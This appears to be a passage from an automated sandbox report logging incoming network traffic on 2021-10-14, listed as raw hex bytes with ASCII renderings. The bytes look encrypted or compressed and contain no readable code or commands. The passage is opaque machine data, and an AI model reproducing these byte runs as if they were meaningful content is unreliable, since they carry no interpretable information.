cd f3 6f 55 c8 c7 d8 ae 18 95 0a 34 13 69 c2 39 47 a6 48 85 80 d0 57 dc 55 53 50 57 0a a9 e3 c5 08 19 84 13 84 ff a2 b8 
43 61 62 37 36 a6 0b 3b 37 ef 88 78 27 ca 58 e6 26 9c 43 73 f0 8c 53 93 21 9a ae bf 74 3d 23 4b 6d dd 70 ca 9f 60 6e 1a 
08 dd 76 fb 2c a4 01 3c 76 7b 8b ed b6 b4 9d 72 c1 2a 44 da bf 00 ae 38 f0 da bb 0b 6c 3e 6a 8e a0 eb 3a 3f 38 26 e6 17 
83 cc 86 a1 26 0b 4c 88 05 4a aa 65 59 51 00 72 92 e3 
Data Ascii: y#H8HGG#ZM{e-J>4YjI@4]W,_v~XVX%FERW*B`_RqIoU4i9GHWUSPWCab76;7x'X&CsS!t=#Kmp`nv,
<v{r*D8l>j:?8&&LJeYQr

2021-10-14 01:28:02 UTC 92 IN Data Raw: 94 ed ca 5d d4 12 49 e0 89 9f b6 8e 35 f6 4f db 18 29 18 4f a7 c7 a9 d5 99 2c a9 11 d3 60 e7 e3 68 41 2a b0 84
6f 43 b6 79 19 1b 09 3e 9a 7f 33 ce 59 f0 3c 5c e1 14 3f 73 7c 76 36 e8 ab d5 9d e1 3c 27 4c 9e de cf d1 7b e3 7e 95 68 
dc 4a ad 5e 40 d7 18 fb 30 f4 51 1b 5b 97 0a 33 87 98 83 3b da c0 d5 5a d9 93 71 34 b4 f5 cb c9 13 0c 13 29 6c 21 9f 75 
e4 4f 28 a6 37 94 bb 1c 75 72 5b 40 1d 2e e4 2f f3 c7 31 ae 93 f7 23 c6 db 61 f7 f2 61 a3 77 50 46 3e 7f a1 d4 72 71 b7 62 
d0 62 f9 fd 8e 64 41 f8 b0 fa 7d 04 26 d5 97 fc fc af 52 1c 98 c9 0b a4 74 e1 e4 32 94 98 48 95 e2 63 d9 b4 bd 14 12 d4 b6 
c4 5d 79 14 87 7c bd a1 a3 d8 74 f6 15 ad f9 a3 e8 6d fc 41 6d f1 05 74 c9 b5 9b 7d 1e bc 5b 58 be eb 73 ff 18 5a 94 4e 
88 6a 59 8b 05 39 a5 90 22 34 71 e6 d9 dd 40 99 
Data Ascii: ]I5O)O,`hA*oCy>3Y<\?s|v6<'L{~hJ^@0Q[3;Zq4)l!uO(7ur[@./1#aawPF>rqbbdA}&Rt2Hc]y|tmAmt}[XsZ
NjY9"4q@

2021-10-14 01:28:02 UTC 93 IN Data Raw: 2c ca d5 ca 14 25 01 bc 8b b1 4e 7a 8c 13 b5 5e c2 db ef 01 d2 f6 df e1 4f 9e 0d 63 e5 45 11 44 77 38 a1 cd ae 
9a b4 70 77 f5 b3 66 4c b8 72 6c 0a f3 df 64 44 55 c9 dd fb aa 38 16 09 34 13 22 e9 39 56 b3 48 84 86 c8 78 09 5c 45 45 
45 08 b6 e6 dd 0f 1b 8c 27 89 fd b0 b9 42 71 62 21 0c 30 18 3e 23 ff a9 c5 2d e2 8f db 21 98 55 65 cb 28 40 87 36 8e 88 
ae 73 3f 58 81 7e cf 67 e0 72 bd 6e 1c 1f c2 9f a2 f1 a4 07 2b 11 f4 82 fc bc d9 ce ac c1 2c 56 df 20 6d 5f 35 7e 69 c3 ba 
7d 2b 73 5e c3 da 03 05 29 28 7d 12 a5 dd 86 ac 19 b2 5f 8d 12 6c 68 b7 4a 59 39 d3 82 f6 00 19 5f 1d 4f 4e 8d 69 2d 5f 
b0 f8 c7 fe 64 79 1b bf 98 13 7a 52 5f bb f1 20 ee 24 47 fe 2b f1 6f 12 d3 4f 40 dc 15 16 49 fe d7 38 ba 7b d8 0e 89 2d 23 
50 0b a2 c6 31 5d 82 64 ab 76 ea 7a f8 fc aa 72 
Data Ascii: ,%Nz^OcEDw8pwfLrldDU84"9VHx\EEE'Bqb!0>#-!Ue(@6s?X~grn+,V m_5~i}+s^)(}_lhJY9_ONi-_dyzR_ $
G+oO@I8{-#P1]dvzr

2021-10-14 01:28:02 UTC 95 IN Data Raw: f2 93 dd c1 ed 7c f1 7d 89 2f c5 48 ad 52 75 c2 02 ee 2c 1e 7a cb 59 bb 1b 0d d9 9b 83 3d ca d0 4d 33 f1 3b 70 
1c a1 dc da c3 60 5f 7e 59 64 5b 9c 44 2f 53 e1 0b 73 68 ba 1d 6c 51 49 4f 1d 2f ed b0 12 1f 21 ad 8f f9 5d c0 b4 5d e6 f6 
7a b0 bb bd 5c 26 76 b5 62 5a a2 b3 64 c7 7d 92 46 f1 64 4b e6 a2 8a 92 05 2c ac dd f2 ed a9 3d 36 1f e3 0b a4 72 e3 da 
58 a3 24 49 9f f4 b2 d5 db 5f 02 01 d4 e1 06 5e 79 1e 94 60 a6 b5 75 67 5a f0 10 a5 91 d7 f9 67 f6 7c 51 e9 ea 7b 8a 8b 
a1 b7 14 ad 57 50 61 97 75 fe 09 5a e4 2e 74 6b 7f 81 02 3e 92 b1 32 3e 77 98 bc c2 be 92 4f 00 91 ab a2 bf 74 96 48 f7 
11 52 8d 86 52 67 9a 3b ff a4 36 af 69 c5 39 6f 02 4b 86 7c 9c 49 8e 8a b8 96 46 86 f3 79 0e 05 0a 12 be 6f 68 b8 4e f0 20 
83 0a 86 cf 46 de b5 ae 66 55 3e f9 ec 17 98 f1 
Data Ascii: |}/HRu,zY=M3;p`_~Yd[D/SshlQIO/!]]z\&vbZd}FdK,=6rX$I_^y`ugZg|Q{WPauZ.tk>2>wOtHRRg;6i9oK|IFyohN 
FfU>

2021-10-14 01:28:02 UTC 96 IN Data Raw: 8f f5 83 91 dd 55 1d 44 63 55 41 36 ba f0 d7 d2 08 89 22 92 f5 89 a3 50 72 67 dd 1f 1c 08 23 3a fc 86 7f d2 e3 
a5 e0 31 91 55 62 fb 66 40 ab 32 b6 8c 94 96 25 34 44 0d ba 61 e2 03 4b 1c 1e 60 0a 05 d9 2a 88 06 05 7c 7d fe 22 ba db 
b1 72 ba f7 52 c9 be 79 40 35 7e 67 86 d1 6c 1b 7b 80 cd ff 2b 32 29 28 77 01 af f6 80 a4 31 d7 5d 9b 69 a5 bd b3 4e 5c 
39 ee 82 f6 0c 13 42 26 66 64 b5 6f 5e 7c 6c db e8 ac 57 6f 29 bd 8f 3a 86 8d 5e bb c0 ab ee df 41 fe 2b aa 9a 12 d3 43 1c 
c8 05 6c be c6 d7 3c b2 a1 a5 ff 8e 14 a1 7b 0b a2 c3 03 25 5e 21 ab 72 64 cd ef 26 bd aa 42 8a 84 44 28 2d 4f f1 5f bf 79 
62 2b 83 41 8f 86 9e f8 09 f0 af 93 9c eb 19 fb eb c1 1e 7d 3e 36 66 d0 74 4d 91 b5 0a 78 5c 88 a7 84 f5 82 40 cd 5a e7 7f 
5a 42 e7 10 d9 73 be 1a ac 22 fb 7e bc f1 be 
Data Ascii: UDcUA6"Prg#:1Ubf@2%4DaK`*|}"rRy@5~gl{+2)(w1]iN\9B&fdo^|lWo):^A+Cl<{%^!rd&BD(-O_yb+A}>6ft
Mx\@ZZBs"~

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:02 UTC 97 IN Data Raw: 70 24 bb 7b de 66 c4 cc 6c e4 f1 6a 59 60 82 47 1e 7a a6 7c 70 a2 b3 71 e6 71 fd ab f3 64 41 35 98 e5 6d 12 3f 
a3 f6 32 fc a5 28 0d 8c e6 16 5a 75 de dd 3f fb 58 4b 95 e8 bd ca b1 ac 13 04 c9 70 6a 70 7a 0c 94 68 b7 a9 58 c2 a6 f1 
3a b4 f9 bf 86 8c fc 50 63 f3 e8 70 e5 ad a6 ad e0 bd 77 4d b1 ff 04 14 09 50 8f 58 65 6e 75 9c 16 2d 44 9f 1d 35 73 f4 a0 
74 bf 98 6f 1b 83 be b6 b1 0a a4 55 fe e5 3c ce 8e 5b 02 c2 12 d9 bf 24 8d 0b c0 39 78 2a 4a 69 76 98 70 8b af 40 fe 9f 85 
f3 75 5b 6b 03 14 a5 12 87 8d 4c fa 26 f1 76 81 cf 5d fd bd 5e 70 af 26 f4 ff 6a 3d e9 4f 17 8b 06 3b 0a 18 1a ff b0 cd 16 05 
a8 84 ca b8 ed 7a c7 f8 d0 4e bf 84 68 0f ce f3 46 ec 70 6e ae e8 1e 0c cf 80 f6 23 24 7e fb 78 1a 84 10 82 35 64 03 fd 1f 
80 38 ec 3b 7d 05 55 88 43 3a e9 6e 7b 
Data Ascii: p${fljY`Gz|pqqdA5m?2(Zu?XKpjpzhX:PcpwMPXenu-D5stoU<[$9x*Jivp@u[kL&v]^p&j=O;zNhFpn#$~x5d8
;}UC:n{

2021-10-14 01:28:02 UTC 98 IN Data Raw: dc 9b 28 f8 0b fa b3 e7 fc 67 5d 2c 35 e1 91 42 9b 5a 04 02 10 47 b0 26 31 c4 58 93 38 76 e8 08 d2 42 56 72 
6c 33 b6 d8 22 e8 2a c8 5b bf df dc c8 6d f8 62 8a be b4 66 af 73 56 eb 63 00 d9 f5 5a 3b 5d a8 2d 19 54 30 83 3d cb 14 
59 27 c8 85 7c 24 35 f4 cb c3 60 5d 09 d7 67 77 9e 11 85 59 fe 2d 17 8d b7 1d 6e 69 a6 45 20 21 f2 32 00 62 22 ad 81 c0 
43 ca db 6f ff 08 71 8b 65 85 15 29 74 8d cb 46 5c b2 4e df 74 fe 0c fc 65 41 fd 85 e9 7c 0c 36 58 cf d2 f1 a2 56 95 9d e3 
01 d9 7b f3 d4 33 8f 2a 49 9d fd aa 27 b5 80 08 06 da f3 78 5d 79 10 98 67 bb b8 55 c0 a6 f1 3a b4 fd 91 69 66 fc 5a 4b 
2d e1 79 e5 b4 be 49 1f 90 52 40 b5 85 77 fe 09 54 95 4f 76 63 62 73 12 19 b8 86 3d 3e 79 e1 2d c1 92 9a 7e 1d 9a a5 ac 
bb e5 a0 66 f5 30 38 da d9 ad 92 43 17 f3 a6 0b 84 18 
Data Ascii: (g],5BZG&1X8vBVrl3"*[mbfsVcZ;]-T0=Y'|$5`]gwY-niE !2b"Coqe)tF\NteA|6XV{3*I'x]ygU:ifZK-yIR@wTOvcbs=>y-
~f08C

2021-10-14 01:28:02 UTC 99 IN Data Raw: e1 43 ab 1b 71 fc 45 00 41 6b cd a0 ee a9 98 c3 64 76 f5 b6 64 37 8e 73 70 4c e5 cf 05 54 54 c8 c2 45 14 57 
3a 0b 34 19 f9 fa 3c 47 b6 5e 9d 9c 25 7e 31 5e 5b 47 45 2d 99 ef d9 08 0d 89 22 81 e5 5c b9 7c 7b 72 58 0e 31 0a 3f 08 
95 7e 96 d3 fe 9a e7 26 8b 50 7a ea 66 40 ab 20 9f f5 b1 74 3d 27 37 f7 cd 63 e8 04 7e 64 0f 1e d4 14 dc 36 5a 06 03 72 
68 f8 ee bb db b1 67 ef 08 4b da bf 16 ae 30 67 93 ad fd 6f 29 02 8e 8a ff 2f 5d a0 2a 77 0b 15 d4 8d b7 34 dd 4e 88 0b 56 
43 b2 66 50 13 07 8d f7 06 3b 70 ad 48 66 b5 76 3e 46 6b db f3 d3 4c 69 e5 b4 a7 1c 52 94 41 aa e2 a5 c6 e0 46 e1 39 27 
c1 3f dc 4b 1d c4 07 11 65 a9 2c 38 b0 af c7 0a 9d 11 a5 40 0e bd dc cd 27 72 6c a3 65 b2 c1 f0 2b ae ad 41 9f a9 e9 22 
d3 48 d8 62 2a 7a 19 2f ae 4a a3 c7 15 fa 0f 89 8f 4b 
Data Ascii: CqEAkdvd7spLTTEW:4<G^%~1^[GE-"\|{rX1?~&Pzf@ t='7c~d6ZrhgK0go)/]*w4NVCfP;pHfv>FkLiRAF9'?K
e,8@'rle+A"Hb*z/JK

2021-10-14 01:28:02 UTC 100 IN Data Raw: bb 1d 96 7f 9c 83 3c c1 c6 22 29 d8 93 74 1f d0 ea ca c3 64 43 7e ba 64 5b 9c 44 3d 23 e5 2a 1c 90 b0 36 40 
7e 5e 52 0b 2d 7b 9d 17 58 b6 af 85 d5 fd a9 80 67 e4 fc 63 a2 65 a8 53 24 7d e2 6d 5a a2 b9 65 c7 76 45 1f 29 6f 46 ef f2 
d5 a9 00 43 5d ce fe f6 a6 53 14 9c e3 0f ba 47 f4 dd 58 3b 26 49 9f f5 89 d9 af 9c 01 01 f1 8e 6b 5c a2 14 87 7c c4 29 5d 
d9 52 fc 14 bd f6 d6 30 66 fc 56 4b e3 ff 7d 8a c6 a3 b7 14 ed 4c 4c 69 e9 7d eb 58 46 80 9d 7c 63 59 8b 1b 5a ed 9e 31 
34 ad f0 f9 c0 bf 88 69 11 98 ad b5 b1 06 82 4a fd 1b 3d e2 84 49 5d b9 10 de b4 3b 87 c4 c5 39 78 2d 06 ec 79 b5 66 89 
ff 82 f9 29 85 de 78 00 3a 03 14 a9 12 81 8d 4c fa 50 ee 35 eb 06 4d f8 a2 aa 59 15 2f f7 f7 14 a1 7e 4d 11 8a 10 21 71 80 
0b fa a4 1b d7 28 bf 85 fc 42 ec a3 51 fa d6 37 
Data Ascii: <")tdC~d[D=#*6@~^R-{XgceS$}mZevE)oFC]SGX;&Ik\|)]R0fVK}LLi}XF|cYZ14iJ=I];9x-yf)x:LP5MY/~M!q(BQ7

2021-10-14 01:28:02 UTC 102 IN Data Raw: 54 7d fe 94 a8 18 96 39 31 f6 97 71 43 4c 89 e2 2c 85 41 76 e5 98 50 81 26 63 8f 93 76 2a 30 5e 7e de 65 fd 
1e 9f 6f 30 19 ff 00 e1 a1 59 f8 d0 54 6a 83 ef 8a df b5 c2 c2 2c 52 16 ba 16 ae 23 6d 6b 94 75 7c 2b 79 80 9a f9 31 cc 28 
04 7f 39 d1 df 97 a4 2a ce 59 8d 05 42 a2 ab b4 5e 3d 6b 81 8d 08 3e 49 0a 5e 4e 29 6b 2d 5f 78 c3 8d 78 53 79 11 aa 92 
09 7f 72 4f bd ee bb 38 f0 6f dc 2f a2 ce 12 d3 4d 64 c9 7d 0c 60 c6 d3 57 62 a4 d8 19 a6 89 a7 51 01 b4 ca 5c 88 5e 64 
a1 6d 78 de e9 26 ac ae 5e 87 52 f7 05 65 4b 8f 79 2c 78 66 3f 22 61 a7 a8 9d eb 0a 92 83 87 83 b1 ff e4 ea fe 93 37 a2 
2d 4f c3 4b ff 82 b0 15 13 e9 9b a2 94 90 97 cb a1 be fc 60 55 dc f3 1b c1 44 d2 86 bd 21 9b 8a 20 e0 bf a9 3d a2 0d f5 c6 
a2 5b 61 a4 f1 18 fd c2 8b cb 4b 75 18 20 92 b0 7e 
Data Ascii: T}91qCL,AvP&cv*0^~eo0YTj,R#mku|+y1(9*YB^=k>I^N)k-_xxSyrO8o/Md}`WbQ\^dmx&^ReKy,xf?"a7-OK`UD! =
[aKu ~

2021-10-14 01:28:02 UTC 103 IN Data Raw: 74 c8 1c 53 71 f3 6e 5e f2 8b e1 7c 15 28 b9 d7 00 fd 89 32 0f e6 ed 0a a4 70 f5 5a 80 22 0e d5 97 e2 a9 cf ac 
c3 ac 01 de 84 74 46 6a 10 87 7c b3 a0 a3 d8 74 ff 14 c5 f0 b8 fb 63 93 f0 65 ef f1 7f fc af a7 b7 0f b8 45 b9 b6 d4 6e fd 72 
5e 8a 43 72 7d 5d 10 11 35 b0 88 2b 51 df f7 d3 ca a1 91 7a 15 9a bc b7 ae 03 5f 4b db 65 3f 99 8a 53 6d b8 0f d5 38 10 
87 18 c4 34 60 39 76 68 77 b4 66 11 83 a9 d9 d6 84 f3 73 b4 1d 19 34 50 61 07 8f d0 f9 33 cc 9a 84 cf 4c 64 ad ba 51 7c 
2d f7 fd 85 80 f3 6f ee 80 1c 28 93 11 17 da 51 33 17 29 23 8a f2 66 15 cc c6 f8 4a 34 de a6 97 05 bd 73 d8 e5 65 6a 91 
1e 0d 09 cf 0d fa 2a d0 5f 28 7b 0d 97 89 8b 3b 6a 3c 08 e1 81 14 72 19 6e 22 76 18 12 c5 c3 7a 66 65 45 02 1f 62 f1 f6 fe 
3a ef 24 ea 81 32 c3 b0 38 9e 09 48 8e db 04 
Data Ascii: tSqn^|(2pZ"tFj|tceEnr^Cr}]5+Qz_Ke?Sm84`9vhwfs4Pa3LdQ|-o(Q3)#fJ4sej*_({;j<rn"vzfeEb:$28H

2021-10-14 01:28:02 UTC 104 IN Data Raw: d1 7b 35 39 c3 8a ff 2b 2d 35 3b 7f 01 bc d6 8c 5a 30 f1 54 89 7b cd bf b3 40 4c 15 60 90 fe 06 2e 41 11 68 98 
b4 45 3d 57 15 d5 e3 d6 57 70 74 2b 89 1a 73 6d 7f a8 f9 a0 d7 f9 5c ed d3 d8 ec 1e c2 4f 77 cd 45 b1 9f 39 28 27 a4 b6 
d0 1f 9f 1c ba 5e f5 a3 fc 3e 30 59 73 71 ca 77 ca fc 20 a2 b8 52 86 ac e7 21 32 45 0a 76 01 73 73 24 a8 f2 70 bb 99 e7 
02 90 8e 91 8d e9 7c e8 11 e8 a0 73 3a 53 cf d9 5c 69 aa 0a 0c 0b 75 95 b9 9d 87 80 46 b8 a4 f3 81 5f 6c ef 19 db d5 71 
21 4c d9 79 63 a3 e4 a9 b7 23 dc ab ea cf 56 45 47 a5 f5 63 e2 c5 94 d8 a2 63 47 a3 92 cb 7a 78 78 a4 a4 9d 97 00 64 4c 
e3 0d 22 56 7e 73 25 ab 13 19 e9 2d 02 de de ba 72 00 ac ad bb 32 c8 96 83 c9 fb f6 af 42 4c c2 d4 18 35 5c 9c f2 d0 a6 
dc 2f 59 eb d1 6a 1d 99 1d 99 4c 8b 65 21 1f 5e a5 e0 
Data Ascii: {59+-5;Z0T{@L`.AhE=WWpt+sm\OwE9('^>0Ysqw R!2Evss$p|s:S\iuF_lq!Lyc#VEGccGzxxdL"V~s%-r2BL5
\/YjLe!^

2021-10-14 01:28:02 UTC 105 IN Data Raw: a3 aa a4 16 bc 4a 4f a8 f4 87 fe 25 41 8e 38 6d 6a 75 89 06 5b fa 86 30 3e 71 e8 de d3 b6 98 78 19 85 b5 4d 
b0 37 b8 4f f4 13 22 f6 52 7a 52 bd 10 d3 9d 90 85 18 cf 44 4a 2e 56 93 68 ad 75 85 8a af f1 36 8b 0d 72 04 00 04 17 a7 
7e 13 59 64 cf 2b ec 6f f9 d3 4d f8 a0 bf 61 90 25 f7 ec 11 96 f9 b1 10 ac 08 2d 0c 10 14 e6 78 1b 28 28 bf 89 92 5b eb cc 
c2 e7 c4 2e c8 86 79 0d a0 8d 45 c0 70 64 a6 a1 e1 09 cf 91 ed 26 d2 7f c6 73 12 9a eb 83 08 75 19 f4 e9 9e 18 38 38 47 
3c 7a 7d c1 de c2 70 7d 63 58 15 17 73 e4 e1 e8 3a ef 24 f6 80 41 e5 3f 3a 9a 07 6b 0d ca 0c 0a 28 80 81 4d 75 dd 60 6b 
bd f8 47 5b 1c 87 97 bf 2e 47 1f 16 39 12 65 f6 10 17 b8 c4 34 46 68 b8 33 2b 9e bf 43 7c 4b da 67 71 a2 56 00 ca c6 a0 
ba 3c 32 53 bc 9e 5d 72 86 dc bd 47 fb 22 ec 2b b4 4c 
Data Ascii: JO%A8mju[0>qxM7O"RzRDJ.Vhu6r~Yd+oMa%-x(([.yEpd&su88G<z}p}cXs:$A?:k(Mu`kG[.G9e4Fh3+C|KgqV
<2S]rG"+L

2021-10-14 01:28:02 UTC 107 IN Data Raw: 0c dd 69 82 63 c6 dd 1e b7 ca 6a 1d 8e 1e b6 58 09 d9 de 32 26 5a 75 a2 1d fa cf ef 2c ba c7 ee 8c ac fc 25 25 
27 d4 27 66 7e 64 4b 81 4d b1 a2 41 3c 0f 83 86 93 e7 ef 62 f5 eb f6 90 16 29 53 d9 d9 5c 69 b5 b2 63 b9 77 8a ad 9d 87 
87 38 02 b9 e7 75 4d 44 e5 71 6f 59 c6 10 a1 35 83 8d ba 7d 40 bf 23 cc 8b c2 c7 a8 4e 69 cc f9 19 ec c0 fb 7c b7 74 3e 
bb 03 cb 70 75 71 86 28 94 97 1b 40 57 e2 f9 fd 09 76 6a 42 79 02 18 e3 36 18 dc d2 ad 09 d2 04 af 93 be cf 9c 8b a7 7d 
e6 ae 48 57 d6 bc 1e 34 4d 90 e4 d8 37 4e 01 4d e2 a7 13 7a 96 1c 9d 4b d9 65 2a 1f 5e a5 c7 46 d2 24 45 de 06 fb b9 c5 
e1 15 5e 2d 3c fd 66 55 d8 c2 04 1a 03 12 fe 2c ef ec 51 f1 3b 77 e1 10 43 ca 78 76 4d fe c1 e8 4a 1f c3 c9 84 9f f5 fc c5 
6d fb 55 bb 40 b5 40 73 58 45 f9 0f d5 67 16 52 11 
Data Ascii: icjX2&Zu,%%''f~dKMA<b)S\icw8uMDqoY5}@#Ni|t>puq(@WvjBy6}HW4M7NMzKe*^F$E^-<fU,Q;
wCxvMJmU@@sXEgR

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:02 UTC 108 IN Data Raw: 2f 93 7e 74 28 14 00 07 ab 70 03 99 5b 7c 05 ec 65 85 6d 5d fc b0 b4 67 94 05 5a fd 19 83 ef 5b 39 65 18 28 
09 0e 86 fd ae 33 16 3d ab 97 c7 ee ea cc cc ec fe d6 c4 86 6e 12 30 74 44 ec 7b 70 b5 f0 09 1f d8 1d dc 35 da 7e 75 6a 
09 83 01 94 33 49 b1 f7 e1 8b 13 fa 38 94 39 7a 71 aa 48 c4 70 79 7d 42 12 0b 64 dd 45 f3 c4 e4 2e d6 d9 4e d9 99 d5 9e 
0d 66 07 54 03 0a 39 89 8a 53 9f f4 e4 67 ac f6 44 33 5a 83 97 b9 27 c1 0b 1e 39 02 79 fd 1e c1 11 e8 3c 44 57 7f 3f 34 8f 
a0 43 68 72 3d 7c 67 5a 40 a1 c7 d7 a5 a4 37 05 ab a7 9f 66 8a 82 cd b3 fa ff d8 f9 13 a9 75 76 e1 49 be 25 d8 f9 45 1b 
68 75 18 99 c5 a0 b2 55 6e 77 f3 a4 eb 4b 9e 72 71 5c e7 d9 56 ec 55 c8 cc df 8b c9 90 0b 32 05 69 ee 39 47 a6 4f 96 85 
f3 d7 1d 57 59 7e f8 1c ba fa ff a1 08 89 39 be 90 5d 
Data Ascii: /~t(p[|em]gZ[9e(3=n0tD{p5~uj3I89zqHpy}BdE.NfT9SgD3Z'9y<DW?4Chr=|gZ@7fuvI%EhuUnwKrq\VU2i9
GOWY~9]

2021-10-14 01:28:02 UTC 109 IN Data Raw: 0c 2a b7 0c 01 1a 06 a6 8e 85 a8 a8 b4 bb e1 10 fc 40 e2 14 cc 56 a9 90 ad 24 8c b4 47 f5 ba b9 4c 74 a1 f5 
cc c7 c8 6a b7 fd 30 b7 c6 94 da da 74 35 37 9a 94 5c 55 61 bf b3 84 9a 7e e6 52 f4 f9 0b 81 70 7b 4c 6b aa 1b e3 38 75 
41 d7 ba 69 20 94 b8 45 39 ef 42 a1 b7 11 99 64 48 53 de fd 69 ca b2 6b 33 d8 49 cc 76 76 e8 81 10 2d 94 0c 8c 3a e0 1e 
3a 1f 31 f6 d1 57 dc 4f 02 70 02 fb b5 c9 e4 44 50 2c 3c b8 0b 43 b7 53 06 1a 09 19 e9 26 31 c5 53 8a 35 4e e1 14 2c 4f 
7a 76 47 e8 ab d5 22 e3 3c 36 5a d7 dd cb c5 47 f0 7d 83 2e b4 4a ad 4e 53 d3 09 ff 26 0a 52 13 5d bb 1d 90 55 9c 83 25 
cb c4 59 84 d8 93 70 10 ab f4 cb c3 60 55 11 2b 66 5b 96 db 3f 58 fe b1 1c 94 bb 4e 64 77 58 52 0c 2b f5 2a 7d 70 23 b6 
b5 d6 4a 33 d9 67 e4 1a 70 a7 70 b0 c8 1e 78 8d c2 49 ab 
Data Ascii: *@V$GLtj0t57\Ua~Rp{Lk8uAi E9BdHSik3Ivv-::1WOpDP,<CS&1S5N,OzvG"<6ZG}.JNS&R]U%Yp`U+f[?XNdw
XR+*}p#J3gppxI

2021-10-14 01:28:02 UTC 111 IN Data Raw: 09 c5 b9 f6 30 da 79 b8 ba 0f 97 1f ed e6 63 1c fd 8e 94 14 ee 1a 73 2c 7c 18 d7 c5 c3 7a 54 b1 88 0a 0e 75 d9 
ee e2 c2 81 5f fd 83 43 11 b6 32 44 18 45 39 ee 04 0a 33 9b 9b 6f 8d d9 4c 61 a6 d4 68 1b b4 8d 49 bf 37 66 0c 1e 38 1f 
6d e9 08 e9 a1 e8 03 19 7f 62 3f 34 85 ac 4b 7c 5a d2 1f 00 5c 42 36 c0 d7 a4 be 14 02 ba 0f 89 4e 7a 68 cd b5 49 c6 db 
e8 07 bb 2e 60 e3 49 be 01 6a 96 fa 13 44 7d 3e df 5a b4 9a b2 61 7e 9a da 66 4c 94 61 76 63 ab dc 78 2b 3c c8 c6 c1 d7 
7e 94 0b 35 00 e0 ee 47 df a7 5b 88 fe c6 7e 1d 5d 7f 7a 50 18 92 f8 d2 1b 0e e6 f0 86 fe a8 90 ea 75 70 29 32 22 1b 3f 19 
f5 84 69 2a 8d 4a e0 26 90 3a 70 e3 98 4b 8c 21 99 e1 7b 77 3d 29 5f 56 29 60 e2 0f 1f f6 1c 1b de 6a a4 2e a4 0d 24 6f 
6c ec 97 ba db bf 5d 5e f2 5e d8 bc 3a b8 24 78 02 
Data Ascii: 0ycs,|zTu_C2DE93oLahI7f8mb?4K|Z\B6NzhI.`IjD}>Za~fLavcx+<~5G[~]zPup)2"?i*J&:pK!{w=)_V)`j.$ol]^^:$x

2021-10-14 01:28:02 UTC 112 IN Data Raw: 74 7b 4b 2c 07 19 e3 38 32 c9 d7 ba 69 de a0 be 54 35 f5 99 b9 7f de fa be 4c 7f d3 d6 14 5a 1a 94 ed c4 84 df 
05 22 25 83 11 0b 8e 07 8b 20 2f 1f 3a 18 76 b4 d0 57 dc bb 73 87 06 fd 9b cd e1 6e 56 43 41 f9 6f 49 bc 53 00 75 c4 36 
e9 2c 2b d4 45 e5 c1 77 e1 12 04 56 7b 76 4d c0 f2 d7 22 e7 14 18 58 93 db a4 b8 6d f1 77 8e 42 b3 25 60 5a 53 d9 16 f3 
3c 1d 3d e5 5c bb 1b 0d 7c 8a 82 3d c1 c8 5e 0f c8 96 70 1a c4 e9 ca c3 6a 6c a6 28 66 5b be 70 3b 58 f8 26 15 bc a8 18 
66 71 37 59 0d 2b ff 06 71 79 0b b9 80 df 4c ee ff 67 e4 fc 7d a5 67 c1 88 37 78 87 dc 62 b8 a5 0d 22 72 fd 77 db 71 40 f9 
92 cd 25 06 2c a0 e6 d0 fe a5 2e 62 e0 e3 0b ae 5c ca d6 37 9e 35 4e 82 f1 ab e1 e5 ad 02 01 cf 89 69 27 4e 15 87 69 d8 
76 5f d9 52 2a 0e 66 e9 63 ec b1 71 45 67 ef fa 66 
Data Ascii: t{K,82iT5LZ"% /:vWsnVCAoISu6,+EwV{vM"XmwB%`ZS<=\|=^pjl(f[p;X&fq7Y+qyLg}g7xb"rwq@%,.b\75N
i'Niv_R*fcqEgf

2021-10-14 01:28:02 UTC 113 IN Data Raw: 4a 86 bb 99 38 5b da 19 56 ff 6c e9 0c ee d6 14 3d 4e 79 01 ec 36 85 a6 5c a6 35 06 7a 67 56 38 d6 c1 d7 a3 
73 29 1e 9d b0 82 4e 6b 8d d2 94 a6 ef f0 e0 04 33 ea d7 f9 9f 6e 1e 66 e6 67 02 4f 77 22 aa dd ad 64 b9 46 7e cd 43 66 
4c 9e 6d 6a 5b f8 cd 6f 4f 4a da 38 ca 8f 2b 9c 85 83 10 6a 5e 30 5f 71 81 bc b6 d9 7f 1d 48 40 45 4a 1c ab fb c8 05 f6 88 
1f 95 f9 cd 44 51 75 76 32 18 5f df 39 31 f6 9e 76 3f e9 89 f3 2d 85 42 9b e2 b4 57 80 5f 61 8f bf 73 3f 2b 37 89 ce 63 e4 
66 b4 6c 1c 11 cb 1d ca 25 a4 16 24 61 71 7d fd 96 d0 c6 70 c3 2c 54 da bc 09 a3 26 75 6d bd da 60 19 87 81 a7 ee 28 3b 
31 fe 7f 17 bc da bf b8 30 dd 55 92 27 57 b6 b3 5b 54 0e 72 7d f7 2a 32 58 0b 57 56 da 90 2c 55 68 c4 ed c5 58 79 0a be 
94 31 87 73 72 ab e0 a7 c5 f8 54 28 bc b6 3b 12 d3 
Data Ascii: J8[Vl=Ny6\5zgV8s)Nk3nfgOw"dF~CfLmj[oOJ8+j^0_qH@EJDQuv2_91v?-BW_as?+7cfl%$aq}p,T&um`(;10U
'W[Tr}*2XWV,UhXy1srT(;

2021-10-14 01:28:02 UTC 114 IN Data Raw: 70 af 24 cf aa e7 76 17 50 27 93 17 28 1e 13 14 eb 50 32 3b 3a bc 8a f8 90 7b db 1c ef 00 b0 eb 86 68 04 b1 6c 
56 ff 71 63 a0 ea 12 4b 31 90 df 13 d3 68 01 7c 62 6b 14 82 22 66 73 0b e0 81 12 81 c3 7a 3d 70 60 66 aa 17 72 79 76 39 
fc 1e 73 f3 3f fe db ad 1b f6 83 58 c6 ae 0e 64 0c 4c 1d c8 0e 16 79 7f 63 b8 74 c3 7b 74 a7 fc 41 10 ab ab 69 be 1d 5d 0b 
71 c5 02 6d ef 1b ee d6 3d 3e 4e 75 71 12 27 8e ac 5a 77 45 fa 86 66 70 5e 3d ca cd 96 69 3b 28 a9 a8 89 5f 71 99 c0 4b 
59 c2 d7 9e 07 bf 5d d8 f2 4c ab 03 71 f2 45 00 4f 68 39 5f c3 98 8b bf 69 f9 42 bb 7e 9a 44 1d 8b 49 f3 cb 61 4f 46 c3 c6 
da a8 27 d4 f5 35 3f f5 ea 30 5f 71 53 94 80 df 57 01 56 53 5c 5e 5d a9 fb d7 0a 03 91 cd 85 d2 ab cb 50 77 70 25 15 29 19
30 31 ed 8a 76 13 1c 88 ce 2d 99 5c 72 35 09 
